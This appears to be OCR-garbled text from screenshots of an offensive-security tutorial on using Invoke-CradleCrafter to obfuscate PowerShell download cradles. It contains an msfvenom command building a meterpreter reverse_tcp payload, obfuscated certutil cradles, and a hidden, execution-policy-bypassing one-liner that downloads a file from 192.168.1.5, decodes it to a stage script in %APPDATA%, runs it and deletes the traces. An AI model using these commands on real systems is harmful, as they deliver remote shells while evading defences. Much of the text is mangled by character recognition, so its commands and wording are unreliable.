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Import—Module

. /Invoke—CradleCrafter. psdl

Invoke-CradleCrafter

PS
PS
Ps

(New-Object Net.webClient).Downloadstring('http

[*]

WNSR1ENIE powershell FIARIRHIRIRR
MSEHIT :

:\Hsels\Adm1n1st|ato|

C:\inetpub\Invoke-CradleCrafter:>

HELF MENU

[*] MEMORY
[*]1 DISK

cd C:

inetpub\Invoke-CradleCrafter> Import-Module

:: Available options shown below:

Tutorial of how to use this tool

Show this Help Menu

Show options for cradle to obfuscate

Clear screen

Execute ObfuscatedCradle locally

Copy ObfuscatedCradle to clipboard

Write ObfuscatedCradle oOut to disk

Reset ALL obfuscation for ObfuscatedCradle
Undo LAST obfuscation for ObfuscatedCradle
Go Back to previous obfuscation menu

Quit Invoke-CradleCrafter

Return to Home Menu

Choose one of the below options:

set-executionpolicy Bypass

bit.ly/

: powershell H{78FEEIT

\inetpub\Invoke-CradleCrafter
. /Invoke-CradleCrafter.
Invoke-CradleCrafter

psdl

SCITIArt")

TUTORIAL

HELP ,GET-HELP,?,-?,/? ,MENU
SHOW OPTIONS,SHOW,OPTIONS
CLEAR,CLEAR-HOST,CLS

EXEC , EXECUTE , TEST, RUN
COPY,CLIP,CLIPBOARD

ouT

RESET

UNDO

BACK,CD ..

QUIT,EXIT

HOME ,MATN

Memory-only remote download cradles
Disk-based remote download cradles
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4pgpayload : ( BXx4LEHpayload , £TERFEMZRFIFIAEF] )

root@John:/tmp# msfvenom -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.1.5 LPORT=53 -e cmd/powershell base64 -f psh -o Micropoor.H
xt

dl1"y]
n IntPtr virtualalloc(IntPtr lpadd in 2, uint flallocationType, uint flProtect):
dll
uint d

em. Runtime. Intero : 0 1 , } L Hth .Length}

[Ezhapache :



powershell{EZRRE :

SET URL http://192.168.1.5/Micropoor.txt
Choose one of the below options:

[*] MEMORY Memory-only remote download cradles
[*] DISK Disk-based remote download cradles

SET URL http://192.168.1.5/Micropoor.txt

vy set Url:

Choose one of the below options:

[*] MEMORY Memory-only remote download cradles
DISK Disk-based remote download cradles

MEMORY

MEMORY

Choose one of the below Memory options:

SWEBSTRING PS Net.webClient + DownloadsString method
WEBDATA PSs Net.WebClient + DownloadData method
WEBOPENREAD PS Net.webClient + OpenR C

NETWEBSTRING .NET [Net.WebClient] + D ring method
NETWEBDATA .NET [Net.webClient] + Dow Data method
NETWEBOPENREAD _NET [Net.webClient] + OpenRead method
WEBREQUEST 5 ce-WebRequest/IWR
RESTMETHOD
NETWEBREQUEST
SENDKEYS k s \ d (for the Tulz)
SCOMWORD i
PSCOMEXCEL

SCOMIE G - e

SCOMMSXML § bject + M n1 rerXmIHttp

SINLINECSHARP G + Inline a

r
COMPILEDCSHARP . r1cct1nn Assumb] :Load Pre-Compiled CSharp
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CERTUTIL

CERTUTIL

Name Certutil
Description
Compatibility
Dependencies

Footprint

Indicators

work connection instead of powershell.exe
Artifacts Prefetch\CERTUTIL .EXE—*#¥#k&ikkk nf
/ mpat Cache

ObfuscatedCommand has been set to this cradle's base syntax ( invocation syntax):

Choose one of the below Memory\Certutil options:

[*] MEMORY\CERTUTIL\Rearrange arrange syntax structure
' CERTUTIL\Cmdlet Select-Object
CERTUTIL\Invoke IEX
[*]1 MEMORY\CERTUTIL\ATI select A1l choices from above (random order)

ALL

ALL

Choose one of the below Memory\Certutil\ATll ) / Y to current cradle:

[*]1 MEMORY\CERTUTILMALL Execute ALL Token obfuscation techniques (random order)

Executed:
CLI: Memo \ n i .
FULL: Out-C -Cradle 17 -TokenArra ('a11t,1)

1.5/Micropoor. txt"; ((C:\Windows\5System32\certutil /ping (variable 6z).value|&$

Member) [6].Name) . (($ExecutionContext. (($ExecutionContext|Get-Member) [6].Name).P
e-Object{$_.Name-like'*ma*d'}l).Name).Invoke($ExecutionContext. (($ExecutionContext|Get-Member) [6
xt. (($ExecutionContext|Get-Member) [6].Name) .PsObject.Methods |Where-Object{$_.Name-Tike'*Com*e"}]
1,1), [Management.Automation.CommandTypes mdlet) ipLa 1|&$ExecutionContext. (($ExecutionContext|G
(($ExecutionContext. (($ExecutionContext|Get-Member) [6].Name).PsObject.Methods |Where-Object{$_.Name-1
nvoke ($ExecutionContext. (($ExecutionContext|Get-Member) [6].Name) . (($ExecutionContext. (($ExecutionCon
Name) .PsObject.Methods |where-object{$_.Name-Tike *Com*e'}).Name).Invoke('se*-0b*"',1,1), [Management.A
es]::Cmdlet)-Skip 2)-Join” r n")|.$ExecutionContext. (($ExecutionContext |Get-Member) [6].Name) .GetCmd]
Choose one of the below Memory\Certutil\All S LY to current cradle:

Execute ALL Token obfuscation technigues (random order]

BIENBERFIxt , G Tencode



. EESR: C\Windows\system32\cmd.exe =

cer.cer 5Micropoo.txt WER—BRT.
BT

I powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%\ce
r.cer (New-Object Net.WebClient).DownloadString('http://192.168.1.5/cer.«
er' certutil -decode %APPDATA%\cer.cer %APPDATA%\stage.psl & start /b «
md /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%\stage.psl & st:

rt /b cmd /c del %APPDATA%\cer.cer

e  Micropoor



